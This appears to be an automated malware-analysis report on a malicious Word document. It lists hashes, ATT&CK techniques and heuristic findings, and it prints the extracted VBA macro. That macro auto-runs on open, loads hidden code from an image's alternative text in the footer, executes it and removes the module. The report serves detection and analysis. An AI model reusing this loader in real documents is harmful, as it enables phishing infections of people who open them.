Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f4550c344309efdb…

MALICIOUS

Office (OLE)

37.0 KB Created: 2017-11-26 22:05:00 Authoring application: Microsoft Office Word First seen: 2017-11-29
MD5: 52ae1cf1bab8e3f1c35232eb0dffb4d1 SHA-1: f730a992463671928f5e2fd693579dc634e02666 SHA-256: f4550c344309efdb461e8b33afa82bed1c87917037d5203509e8ef1d45794934
122 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros with Auto_Open and AutoOpen functions, indicating an attempt at automatic execution upon opening. The script attempts to dynamically add and execute code from an alternative text field, likely to download and run a second-stage payload. The specific payload or its destination could not be determined from the provided evidence.

Heuristics 5

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 689 bytes
SHA-256: 8768e8c81eae0ff71da133560fb418df31a4db02dd60f66d55145d12b6be6376
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "MyDocument"
Sub Auto_Open()
    Dim yuLip As Object
    Set yuLip = ActiveDocument.VBProject.VBComponents.Add(1)
    yuLip.CodeModule.AddFromString ActiveDocument.Sections(1).Footers(1).Range.InlineShapes(1).AlternativeText
    Application.Run yuLip.Name & ".jYccc"
    ActiveDocument.VBProject.VBComponents.Remove yuLip
End Sub
Sub AutoOpen()
    Auto_Open
End Sub